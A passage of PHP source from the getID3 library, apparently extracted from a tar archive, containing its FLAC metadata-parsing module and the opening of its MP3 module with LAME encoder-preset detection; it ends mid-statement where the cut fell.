///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true); /** * @tutorial http://flac.sourceforge.net/format.html */ class getid3_flac extends getid3_handler { const syncword = 'fLaC'; /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; $this->fseek($info['avdataoffset']); $StreamMarker = $this->fread(4); if ($StreamMarker != self::syncword) { return $this->error('Expecting "'.getid3_lib::PrintHexBytes(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($StreamMarker).'"'); } $info['fileformat'] = 'flac'; $info['audio']['dataformat'] = 'flac'; $info['audio']['bitrate_mode'] = 'vbr'; $info['audio']['lossless'] = true; // parse flac container return $this->parseMETAdata(); } /** * @return bool */ public function parseMETAdata() { $info = &$this->getid3->info; do { $BlockOffset = $this->ftell(); $BlockHeader = $this->fread(4); $LBFBT = getid3_lib::BigEndian2Int(substr($BlockHeader, 0, 1)); // LBFBT = LastBlockFlag + BlockType $LastBlockFlag = (bool) ($LBFBT & 0x80); $BlockType = ($LBFBT & 0x7F); $BlockLength = getid3_lib::BigEndian2Int(substr($BlockHeader, 1, 3)); $BlockTypeText = self::metaBlockTypeLookup($BlockType); if (($BlockOffset + 4 + $BlockLength) > $info['avdataend']) { $this->warning('METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockTypeText.') at offset '.$BlockOffset.' extends beyond end of file'); break; } if ($BlockLength < 1) { if ($BlockTypeText != 'reserved') { // probably supposed to be zero-length $this->warning('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockTypeText.') at offset '.$BlockOffset.' is zero bytes'); continue; } $this->error('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockLength.') at offset '.$BlockOffset.' is invalid'); break; } $info['flac'][$BlockTypeText]['raw'] = array(); $BlockTypeText_raw = &$info['flac'][$BlockTypeText]['raw']; $BlockTypeText_raw['offset'] = $BlockOffset; $BlockTypeText_raw['last_meta_block'] = $LastBlockFlag; $BlockTypeText_raw['block_type'] = $BlockType; $BlockTypeText_raw['block_type_text'] = $BlockTypeText; $BlockTypeText_raw['block_length'] = $BlockLength; if ($BlockTypeText_raw['block_type'] != 0x06) { // do not read attachment data automatically $BlockTypeText_raw['block_data'] = $this->fread($BlockLength); } switch ($BlockTypeText) { case 'STREAMINFO': // 0x00 if (!$this->parseSTREAMINFO($BlockTypeText_raw['block_data'])) { return false; } break; case 'PADDING': // 0x01 unset($info['flac']['PADDING']); // ignore break; case 'APPLICATION': // 0x02 if (!$this->parseAPPLICATION($BlockTypeText_raw['block_data'])) { return false; } break; case 'SEEKTABLE': // 0x03 if (!$this->parseSEEKTABLE($BlockTypeText_raw['block_data'])) { return false; } break; case 'VORBIS_COMMENT': // 0x04 if (!$this->parseVORBIS_COMMENT($BlockTypeText_raw['block_data'])) { return false; } break; case 'CUESHEET': // 0x05 if (!$this->parseCUESHEET($BlockTypeText_raw['block_data'])) { return false; } break; case 'PICTURE': // 0x06 if (!$this->parsePICTURE()) { return false; } break; default: $this->warning('Unhandled METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockType.') at offset '.$BlockOffset); } unset($info['flac'][$BlockTypeText]['raw']); $info['avdataoffset'] = $this->ftell(); } while ($LastBlockFlag === false); // handle tags if (!empty($info['flac']['VORBIS_COMMENT']['comments'])) { $info['flac']['comments'] = $info['flac']['VORBIS_COMMENT']['comments']; } if (!empty($info['flac']['VORBIS_COMMENT']['vendor'])) { $info['audio']['encoder'] = str_replace('reference ', '', $info['flac']['VORBIS_COMMENT']['vendor']); } // copy attachments to 'comments' array if nesesary if (isset($info['flac']['PICTURE']) && ($this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE)) { foreach ($info['flac']['PICTURE'] as $entry) { if (!empty($entry['data'])) { if (!isset($info['flac']['comments']['picture'])) { $info['flac']['comments']['picture'] = array(); } $comments_picture_data = array(); foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) { if (isset($entry[$picture_key])) { $comments_picture_data[$picture_key] = $entry[$picture_key]; } } $info['flac']['comments']['picture'][] = $comments_picture_data; unset($comments_picture_data); } } } if (isset($info['flac']['STREAMINFO'])) { if (!$this->isDependencyFor('matroska')) { $info['flac']['compressed_audio_bytes'] = $info['avdataend'] - $info['avdataoffset']; } $info['flac']['uncompressed_audio_bytes'] = $info['flac']['STREAMINFO']['samples_stream'] * $info['flac']['STREAMINFO']['channels'] * ($info['flac']['STREAMINFO']['bits_per_sample'] / 8); if ($info['flac']['uncompressed_audio_bytes'] == 0) { return $this->error('Corrupt FLAC file: uncompressed_audio_bytes == zero'); } if (!empty($info['flac']['compressed_audio_bytes'])) { $info['flac']['compression_ratio'] = $info['flac']['compressed_audio_bytes'] / $info['flac']['uncompressed_audio_bytes']; } } // set md5_data_source - built into flac 0.5+ if (isset($info['flac']['STREAMINFO']['audio_signature'])) { if ($info['flac']['STREAMINFO']['audio_signature'] === str_repeat("\x00", 16)) { $this->warning('FLAC STREAMINFO.audio_signature is null (known issue with libOggFLAC)'); } else { $info['md5_data_source'] = ''; $md5 = $info['flac']['STREAMINFO']['audio_signature']; for ($i = 0; $i < strlen($md5); $i++) { $info['md5_data_source'] .= str_pad(dechex(ord($md5[$i])), 2, '00', STR_PAD_LEFT); } if (!preg_match('/^[0-9a-f]{32}$/', $info['md5_data_source'])) { unset($info['md5_data_source']); } } } if (isset($info['flac']['STREAMINFO']['bits_per_sample'])) { $info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample']; if ($info['audio']['bits_per_sample'] == 8) { // special case // must invert sign bit on all data bytes before MD5'ing to match FLAC's calculated value // MD5sum calculates on unsigned bytes, but FLAC calculated MD5 on 8-bit audio data as signed $this->warning('FLAC calculates MD5 data strangely on 8-bit audio, so the stored md5_data_source value will not match the decoded WAV file'); } } return true; } /** * @param string $BlockData * * @return array */ public static function parseSTREAMINFOdata($BlockData) { $streaminfo = array(); $streaminfo['min_block_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 0, 2)); $streaminfo['max_block_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 2, 2)); $streaminfo['min_frame_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 4, 3)); $streaminfo['max_frame_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 7, 3)); $SRCSBSS = getid3_lib::BigEndian2Bin(substr($BlockData, 10, 8)); $streaminfo['sample_rate'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 0, 20)); $streaminfo['channels'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 20, 3)) + 1; $streaminfo['bits_per_sample'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 23, 5)) + 1; $streaminfo['samples_stream'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 28, 36)); $streaminfo['audio_signature'] = substr($BlockData, 18, 16); return $streaminfo; } /** * @param string $BlockData * * @return bool */ private function parseSTREAMINFO($BlockData) { $info = &$this->getid3->info; $info['flac']['STREAMINFO'] = self::parseSTREAMINFOdata($BlockData); if (!empty($info['flac']['STREAMINFO']['sample_rate'])) { $info['audio']['bitrate_mode'] = 'vbr'; $info['audio']['sample_rate'] = $info['flac']['STREAMINFO']['sample_rate']; $info['audio']['channels'] = $info['flac']['STREAMINFO']['channels']; $info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample']; $info['playtime_seconds'] = $info['flac']['STREAMINFO']['samples_stream'] / $info['flac']['STREAMINFO']['sample_rate']; if ($info['playtime_seconds'] > 0) { if (!$this->isDependencyFor('matroska')) { $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; } else { $this->warning('Cannot determine audio bitrate because total stream size is unknown'); } } } else { return $this->error('Corrupt METAdata block: STREAMINFO'); } return true; } /** * @param string $BlockData * * @return bool */ private function parseAPPLICATION($BlockData) { $info = &$this->getid3->info; $ApplicationID = getid3_lib::BigEndian2Int(substr($BlockData, 0, 4)); $info['flac']['APPLICATION'][$ApplicationID]['name'] = self::applicationIDLookup($ApplicationID); $info['flac']['APPLICATION'][$ApplicationID]['data'] = substr($BlockData, 4); return true; } /** * @param string $BlockData * * @return bool */ private function parseSEEKTABLE($BlockData) { $info = &$this->getid3->info; $offset = 0; $BlockLength = strlen($BlockData); $placeholderpattern = str_repeat("\xFF", 8); while ($offset < $BlockLength) { $SampleNumberString = substr($BlockData, $offset, 8); $offset += 8; if ($SampleNumberString == $placeholderpattern) { // placeholder point getid3_lib::safe_inc($info['flac']['SEEKTABLE']['placeholders'], 1); $offset += 10; } else { $SampleNumber = getid3_lib::BigEndian2Int($SampleNumberString); $info['flac']['SEEKTABLE'][$SampleNumber]['offset'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); $offset += 8; $info['flac']['SEEKTABLE'][$SampleNumber]['samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 2)); $offset += 2; } } return true; } /** * @param string $BlockData * * @return bool */ private function parseVORBIS_COMMENT($BlockData) { $info = &$this->getid3->info; $getid3_ogg = new getid3_ogg($this->getid3); if ($this->isDependencyFor('matroska')) { $getid3_ogg->setStringMode($this->data_string); } $getid3_ogg->ParseVorbisComments(); if (isset($info['ogg'])) { unset($info['ogg']['comments_raw']); $info['flac']['VORBIS_COMMENT'] = $info['ogg']; unset($info['ogg']); } unset($getid3_ogg); return true; } /** * @param string $BlockData * * @return bool */ private function parseCUESHEET($BlockData) { $info = &$this->getid3->info; $offset = 0; $info['flac']['CUESHEET']['media_catalog_number'] = trim(substr($BlockData, $offset, 128), "\0"); $offset += 128; $info['flac']['CUESHEET']['lead_in_samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); $offset += 8; $info['flac']['CUESHEET']['flags']['is_cd'] = (bool) (getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)) & 0x80); $offset += 1; $offset += 258; // reserved $info['flac']['CUESHEET']['number_tracks'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); $offset += 1; for ($track = 0; $track < $info['flac']['CUESHEET']['number_tracks']; $track++) { $TrackSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); $offset += 8; $TrackNumber = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); $offset += 1; $info['flac']['CUESHEET']['tracks'][$TrackNumber]['sample_offset'] = $TrackSampleOffset; $info['flac']['CUESHEET']['tracks'][$TrackNumber]['isrc'] = substr($BlockData, $offset, 12); $offset += 12; $TrackFlagsRaw = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); $offset += 1; $info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['is_audio'] = (bool) ($TrackFlagsRaw & 0x80); $info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['pre_emphasis'] = (bool) ($TrackFlagsRaw & 0x40); $offset += 13; // reserved $info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); $offset += 1; for ($index = 0; $index < $info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']; $index++) { $IndexSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8)); $offset += 8; $IndexNumber = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)); $offset += 1; $offset += 3; // reserved $info['flac']['CUESHEET']['tracks'][$TrackNumber]['indexes'][$IndexNumber] = $IndexSampleOffset; } } return true; } /** * Parse METADATA_BLOCK_PICTURE flac structure and extract attachment * External usage: audio.ogg * * @return bool */ public function parsePICTURE() { $info = &$this->getid3->info; $picture['typeid'] = getid3_lib::BigEndian2Int($this->fread(4)); $picture['picturetype'] = self::pictureTypeLookup($picture['typeid']); $picture['image_mime'] = $this->fread(getid3_lib::BigEndian2Int($this->fread(4))); $descr_length = getid3_lib::BigEndian2Int($this->fread(4)); if ($descr_length) { $picture['description'] = $this->fread($descr_length); } $picture['image_width'] = getid3_lib::BigEndian2Int($this->fread(4)); $picture['image_height'] = getid3_lib::BigEndian2Int($this->fread(4)); $picture['color_depth'] = getid3_lib::BigEndian2Int($this->fread(4)); $picture['colors_indexed'] = getid3_lib::BigEndian2Int($this->fread(4)); $picture['datalength'] = getid3_lib::BigEndian2Int($this->fread(4)); if ($picture['image_mime'] == '-->') { $picture['data'] = $this->fread($picture['datalength']); } else { $picture['data'] = $this->saveAttachment( str_replace('/', '_', $picture['picturetype']).'_'.$this->ftell(), $this->ftell(), $picture['datalength'], $picture['image_mime']); } $info['flac']['PICTURE'][] = $picture; return true; } /** * @param int $blocktype * * @return string */ public static function metaBlockTypeLookup($blocktype) { static $lookup = array( 0 => 'STREAMINFO', 1 => 'PADDING', 2 => 'APPLICATION', 3 => 'SEEKTABLE', 4 => 'VORBIS_COMMENT', 5 => 'CUESHEET', 6 => 'PICTURE', ); return (isset($lookup[$blocktype]) ? $lookup[$blocktype] : 'reserved'); } /** * @param int $applicationid * * @return string */ public static function applicationIDLookup($applicationid) { // http://flac.sourceforge.net/id.html static $lookup = array( 0x41544348 => 'FlacFile', // "ATCH" 0x42534F4C => 'beSolo', // "BSOL" 0x42554753 => 'Bugs Player', // "BUGS" 0x43756573 => 'GoldWave cue points (specification)', // "Cues" 0x46696361 => 'CUE Splitter', // "Fica" 0x46746F6C => 'flac-tools', // "Ftol" 0x4D4F5442 => 'MOTB MetaCzar', // "MOTB" 0x4D505345 => 'MP3 Stream Editor', // "MPSE" 0x4D754D4C => 'MusicML: Music Metadata Language', // "MuML" 0x52494646 => 'Sound Devices RIFF chunk storage', // "RIFF" 0x5346464C => 'Sound Font FLAC', // "SFFL" 0x534F4E59 => 'Sony Creative Software', // "SONY" 0x5351455A => 'flacsqueeze', // "SQEZ" 0x54745776 => 'TwistedWave', // "TtWv" 0x55495453 => 'UITS Embedding tools', // "UITS" 0x61696666 => 'FLAC AIFF chunk storage', // "aiff" 0x696D6167 => 'flac-image application for storing arbitrary files in APPLICATION metadata blocks', // "imag" 0x7065656D => 'Parseable Embedded Extensible Metadata (specification)', // "peem" 0x71667374 => 'QFLAC Studio', // "qfst" 0x72696666 => 'FLAC RIFF chunk storage', // "riff" 0x74756E65 => 'TagTuner', // "tune" 0x78626174 => 'XBAT', // "xbat" 0x786D6364 => 'xmcd', // "xmcd" ); return (isset($lookup[$applicationid]) ? $lookup[$applicationid] : 'reserved'); } /** * @param int $type_id * * @return string */ public static function pictureTypeLookup($type_id) { static $lookup = array ( 0 => 'Other', 1 => '32x32 pixels \'file icon\' (PNG only)', 2 => 'Other file icon', 3 => 'Cover (front)', 4 => 'Cover (back)', 5 => 'Leaflet page', 6 => 'Media (e.g. label side of CD)', 7 => 'Lead artist/lead performer/soloist', 8 => 'Artist/performer', 9 => 'Conductor', 10 => 'Band/Orchestra', 11 => 'Composer', 12 => 'Lyricist/text writer', 13 => 'Recording Location', 14 => 'During recording', 15 => 'During performance', 16 => 'Movie/video screen capture', 17 => 'A bright coloured fish', 18 => 'Illustration', 19 => 'Band/artist logotype', 20 => 'Publisher/Studio logotype', ); return (isset($lookup[$type_id]) ? $lookup[$type_id] : 'reserved'); } } ID3/module.audio.mp3.php000064400000312270151202620270010721 0ustar00 // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio.mp3.php // // module for analyzing MP3 files // // dependencies: NONE // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } // number of frames to scan to determine if MPEG-audio sequence is valid // Lower this number to 5-20 for faster scanning // Increase this number to 50+ for most accurate detection of valid VBR/CBR // mpeg-audio streams define('GETID3_MP3_VALID_CHECK_FRAMES', 35); class getid3_mp3 extends getid3_handler { /** * Forces getID3() to scan the file byte-by-byte and log all the valid audio frame headers - extremely slow, * unrecommended, but may provide data from otherwise-unusable files. * * @var bool */ public $allow_bruteforce = false; /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; $initialOffset = $info['avdataoffset']; if (!$this->getOnlyMPEGaudioInfo($info['avdataoffset'])) { if ($this->allow_bruteforce) { $this->error('Rescanning file in BruteForce mode'); $this->getOnlyMPEGaudioInfoBruteForce(); } } if (isset($info['mpeg']['audio']['bitrate_mode'])) { $info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']); } if (((isset($info['id3v2']['headerlength']) && ($info['avdataoffset'] > $info['id3v2']['headerlength'])) || (!isset($info['id3v2']) && ($info['avdataoffset'] > 0) && ($info['avdataoffset'] != $initialOffset)))) { $synchoffsetwarning = 'Unknown data before synch '; if (isset($info['id3v2']['headerlength'])) { $synchoffsetwarning .= '(ID3v2 header ends at '.$info['id3v2']['headerlength'].', then '.($info['avdataoffset'] - $info['id3v2']['headerlength']).' bytes garbage, '; } elseif ($initialOffset > 0) { $synchoffsetwarning .= '(should be at '.$initialOffset.', '; } else { $synchoffsetwarning .= '(should be at beginning of file, '; } $synchoffsetwarning .= 'synch detected at '.$info['avdataoffset'].')'; if (isset($info['audio']['bitrate_mode']) && ($info['audio']['bitrate_mode'] == 'cbr')) { if (!empty($info['id3v2']['headerlength']) && (($info['avdataoffset'] - $info['id3v2']['headerlength']) == $info['mpeg']['audio']['framelength'])) { $synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90-3.92) DLL in CBR mode.'; $info['audio']['codec'] = 'LAME'; $CurrentDataLAMEversionString = 'LAME3.'; } elseif (empty($info['id3v2']['headerlength']) && ($info['avdataoffset'] == $info['mpeg']['audio']['framelength'])) { $synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90 - 3.92) DLL in CBR mode.'; $info['audio']['codec'] = 'LAME'; $CurrentDataLAMEversionString = 'LAME3.'; } } $this->warning($synchoffsetwarning); } if (isset($info['mpeg']['audio']['LAME'])) { $info['audio']['codec'] = 'LAME'; if (!empty($info['mpeg']['audio']['LAME']['long_version'])) { $info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['long_version'], "\x00"); } elseif (!empty($info['mpeg']['audio']['LAME']['short_version'])) { $info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['short_version'], "\x00"); } } $CurrentDataLAMEversionString = (!empty($CurrentDataLAMEversionString) ? $CurrentDataLAMEversionString : (isset($info['audio']['encoder']) ? $info['audio']['encoder'] : '')); if (!empty($CurrentDataLAMEversionString) && (substr($CurrentDataLAMEversionString, 0, 6) == 'LAME3.') && !preg_match('[0-9\)]', substr($CurrentDataLAMEversionString, -1))) { // a version number of LAME that does not end with a number like "LAME3.92" // or with a closing parenthesis like "LAME3.88 (alpha)" // or a version of LAME with the LAMEtag-not-filled-in-DLL-mode bug (3.90-3.92) // not sure what the actual last frame length will be, but will be less than or equal to 1441 $PossiblyLongerLAMEversion_FrameLength = 1441; // Not sure what version of LAME this is - look in padding of last frame for longer version string $PossibleLAMEversionStringOffset = $info['avdataend'] - $PossiblyLongerLAMEversion_FrameLength; $this->fseek($PossibleLAMEversionStringOffset); $PossiblyLongerLAMEversion_Data = $this->fread($PossiblyLongerLAMEversion_FrameLength); switch (substr($CurrentDataLAMEversionString, -1)) { case 'a': case 'b': // "LAME3.94a" will have a longer version string of "LAME3.94 (alpha)" for example // need to trim off "a" to match longer string $CurrentDataLAMEversionString = substr($CurrentDataLAMEversionString, 0, -1); break; } if (($PossiblyLongerLAMEversion_String = strstr($PossiblyLongerLAMEversion_Data, $CurrentDataLAMEversionString)) !== false) { if (substr($PossiblyLongerLAMEversion_String, 0, strlen($CurrentDataLAMEversionString)) == $CurrentDataLAMEversionString) { $PossiblyLongerLAMEversion_NewString = substr($PossiblyLongerLAMEversion_String, 0, strspn($PossiblyLongerLAMEversion_String, 'LAME0123456789., (abcdefghijklmnopqrstuvwxyzJFSOND)')); //"LAME3.90.3" "LAME3.87 (beta 1, Sep 27 2000)" "LAME3.88 (beta)" if (empty($info['audio']['encoder']) || (strlen($PossiblyLongerLAMEversion_NewString) > strlen($info['audio']['encoder']))) { $info['audio']['encoder'] = $PossiblyLongerLAMEversion_NewString; } } } } if (!empty($info['audio']['encoder'])) { $info['audio']['encoder'] = rtrim($info['audio']['encoder'], "\x00 "); } switch (isset($info['mpeg']['audio']['layer']) ? $info['mpeg']['audio']['layer'] : '') { case 1: case 2: $info['audio']['dataformat'] = 'mp'.$info['mpeg']['audio']['layer']; break; } if (isset($info['fileformat']) && ($info['fileformat'] == 'mp3')) { switch ($info['audio']['dataformat']) { case 'mp1': case 'mp2': case 'mp3': $info['fileformat'] = $info['audio']['dataformat']; break; default: $this->warning('Expecting [audio][dataformat] to be mp1/mp2/mp3 when fileformat == mp3, [audio][dataformat] actually "'.$info['audio']['dataformat'].'"'); break; } } if (empty($info['fileformat'])) { unset($info['fileformat']); unset($info['audio']['bitrate_mode']); unset($info['avdataoffset']); unset($info['avdataend']); return false; } $info['mime_type'] = 'audio/mpeg'; $info['audio']['lossless'] = false; // Calculate playtime if (!isset($info['playtime_seconds']) && isset($info['audio']['bitrate']) && ($info['audio']['bitrate'] > 0)) { // https://github.com/JamesHeinrich/getID3/issues/161 // VBR header frame contains ~0.026s of silent audio data, but is not actually part of the original encoding and should be ignored $xingVBRheaderFrameLength = ((isset($info['mpeg']['audio']['VBR_frames']) && isset($info['mpeg']['audio']['framelength'])) ? $info['mpeg']['audio']['framelength'] : 0); $info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset'] - $xingVBRheaderFrameLength) * 8 / $info['audio']['bitrate']; } $info['audio']['encoder_options'] = $this->GuessEncoderOptions(); return true; } /** * @return string */ public function GuessEncoderOptions() { // shortcuts $info = &$this->getid3->info; $thisfile_mpeg_audio = array(); $thisfile_mpeg_audio_lame = array(); if (!empty($info['mpeg']['audio'])) { $thisfile_mpeg_audio = &$info['mpeg']['audio']; if (!empty($thisfile_mpeg_audio['LAME'])) { $thisfile_mpeg_audio_lame = &$thisfile_mpeg_audio['LAME']; } } $encoder_options = ''; static $NamedPresetBitrates = array(16, 24, 40, 56, 112, 128, 160, 192, 256); if (isset($thisfile_mpeg_audio['VBR_method']) && ($thisfile_mpeg_audio['VBR_method'] == 'Fraunhofer') && !empty($thisfile_mpeg_audio['VBR_quality'])) { $encoder_options = 'VBR q'.$thisfile_mpeg_audio['VBR_quality']; } elseif (!empty($thisfile_mpeg_audio_lame['preset_used']) && isset($thisfile_mpeg_audio_lame['preset_used_id']) && (!in_array($thisfile_mpeg_audio_lame['preset_used_id'], $NamedPresetBitrates))) { $encoder_options = $thisfile_mpeg_audio_lame['preset_used']; } elseif (!empty($thisfile_mpeg_audio_lame['vbr_quality'])) { static $KnownEncoderValues = array(); if (empty($KnownEncoderValues)) { //$KnownEncoderValues[abrbitrate_minbitrate][vbr_quality][raw_vbr_method][raw_noise_shaping][raw_stereo_mode][ath_type][lowpass_frequency] = 'preset name'; $KnownEncoderValues[0xFF][58][1][1][3][2][20500] = '--alt-preset insane'; // 3.90, 3.90.1, 3.92 $KnownEncoderValues[0xFF][58][1][1][3][2][20600] = '--alt-preset insane'; // 3.90.2, 3.90.3, 3.91 $KnownEncoderValues[0xFF][57][1][1][3][4][20500] = '--alt-preset insane'; // 3.94, 3.95 $KnownEncoderValues['**'][78][3][2][3][2][19500] = '--alt-preset extreme'; // 3.90, 3.90.1, 3.92 $KnownEncoderValues['**'][78][3][2][3][2][19600] = '--alt-preset extreme'; // 3.90.2, 3.91 $KnownEncoderValues['**'][78][3][1][3][2][19600] = '--alt-preset extreme'; // 3.90.3 $KnownEncoderValues['**'][78][4][2][3][2][19500] = '--alt-preset fast extreme'; // 3.90, 3.90.1, 3.92 $KnownEncoderValues['**'][78][4][2][3][2][19600] = '--alt-preset fast extreme'; // 3.90.2, 3.90.3, 3.91 $KnownEncoderValues['**'][78][3][2][3][4][19000] = '--alt-preset standard'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 $KnownEncoderValues['**'][78][3][1][3][4][19000] = '--alt-preset standard'; // 3.90.3 $KnownEncoderValues['**'][78][4][2][3][4][19000] = '--alt-preset fast standard'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 $KnownEncoderValues['**'][78][4][1][3][4][19000] = '--alt-preset fast standard'; // 3.90.3 $KnownEncoderValues['**'][88][4][1][3][3][19500] = '--r3mix'; // 3.90, 3.90.1, 3.92 $KnownEncoderValues['**'][88][4][1][3][3][19600] = '--r3mix'; // 3.90.2, 3.90.3, 3.91 $KnownEncoderValues['**'][67][4][1][3][4][18000] = '--r3mix'; // 3.94, 3.95 $KnownEncoderValues['**'][68][3][2][3][4][18000] = '--alt-preset medium'; // 3.90.3 $KnownEncoderValues['**'][68][4][2][3][4][18000] = '--alt-preset fast medium'; // 3.90.3 $KnownEncoderValues[0xFF][99][1][1][1][2][0] = '--preset studio'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 $KnownEncoderValues[0xFF][58][2][1][3][2][20600] = '--preset studio'; // 3.90.3, 3.93.1 $KnownEncoderValues[0xFF][58][2][1][3][2][20500] = '--preset studio'; // 3.93 $KnownEncoderValues[0xFF][57][2][1][3][4][20500] = '--preset studio'; // 3.94, 3.95 $KnownEncoderValues[0xC0][88][1][1][1][2][0] = '--preset cd'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 $KnownEncoderValues[0xC0][58][2][2][3][2][19600] = '--preset cd'; // 3.90.3, 3.93.1 $KnownEncoderValues[0xC0][58][2][2][3][2][19500] = '--preset cd'; // 3.93 $KnownEncoderValues[0xC0][57][2][1][3][4][19500] = '--preset cd'; // 3.94, 3.95 $KnownEncoderValues[0xA0][78][1][1][3][2][18000] = '--preset hifi'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 $KnownEncoderValues[0xA0][58][2][2][3][2][18000] = '--preset hifi'; // 3.90.3, 3.93, 3.93.1 $KnownEncoderValues[0xA0][57][2][1][3][4][18000] = '--preset hifi'; // 3.94, 3.95 $KnownEncoderValues[0x80][67][1][1][3][2][18000] = '--preset tape'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 $KnownEncoderValues[0x80][67][1][1][3][2][15000] = '--preset radio'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 $KnownEncoderValues[0x70][67][1][1][3][2][15000] = '--preset fm'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 $KnownEncoderValues[0x70][58][2][2][3][2][16000] = '--preset tape/radio/fm'; // 3.90.3, 3.93, 3.93.1 $KnownEncoderValues[0x70][57][2][1][3][4][16000] = '--preset tape/radio/fm'; // 3.94, 3.95 $KnownEncoderValues[0x38][58][2][2][0][2][10000] = '--preset voice'; // 3.90.3, 3.93, 3.93.1 $KnownEncoderValues[0x38][57][2][1][0][4][15000] = '--preset voice'; // 3.94, 3.95 $KnownEncoderValues[0x38][57][2][1][0][4][16000] = '--preset voice'; // 3.94a14 $KnownEncoderValues[0x28][65][1][1][0][2][7500] = '--preset mw-us'; // 3.90, 3.90.1, 3.92 $KnownEncoderValues[0x28][65][1][1][0][2][7600] = '--preset mw-us'; // 3.90.2, 3.91 $KnownEncoderValues[0x28][58][2][2][0][2][7000] = '--preset mw-us'; // 3.90.3, 3.93, 3.93.1 $KnownEncoderValues[0x28][57][2][1][0][4][10500] = '--preset mw-us'; // 3.94, 3.95 $KnownEncoderValues[0x28][57][2][1][0][4][11200] = '--preset mw-us'; // 3.94a14 $KnownEncoderValues[0x28][57][2][1][0][4][8800] = '--preset mw-us'; // 3.94a15 $KnownEncoderValues[0x18][58][2][2][0][2][4000] = '--preset phon+/lw/mw-eu/sw'; // 3.90.3, 3.93.1 $KnownEncoderValues[0x18][58][2][2][0][2][3900] = '--preset phon+/lw/mw-eu/sw'; // 3.93 $KnownEncoderValues[0x18][57][2][1][0][4][5900] = '--preset phon+/lw/mw-eu/sw'; // 3.94, 3.95 $KnownEncoderValues[0x18][57][2][1][0][4][6200] = '--preset phon+/lw/mw-eu/sw'; // 3.94a14 $KnownEncoderValues[0x18][57][2][1][0][4][3200] = '--preset phon+/lw/mw-eu/sw'; // 3.94a15 $KnownEncoderValues[0x10][58][2][2][0][2][3800] = '--preset phone'; // 3.90.3, 3.93.1 $KnownEncoderValues[0x10][58][2][2][0][2][3700] = '--preset phone'; // 3.93 $KnownEncoderValues[0x10][57][2][1][0][4][5600] = '--preset phone'; // 3.94, 3.95 } if (isset($KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) { $encoder_options = $KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']]; } elseif 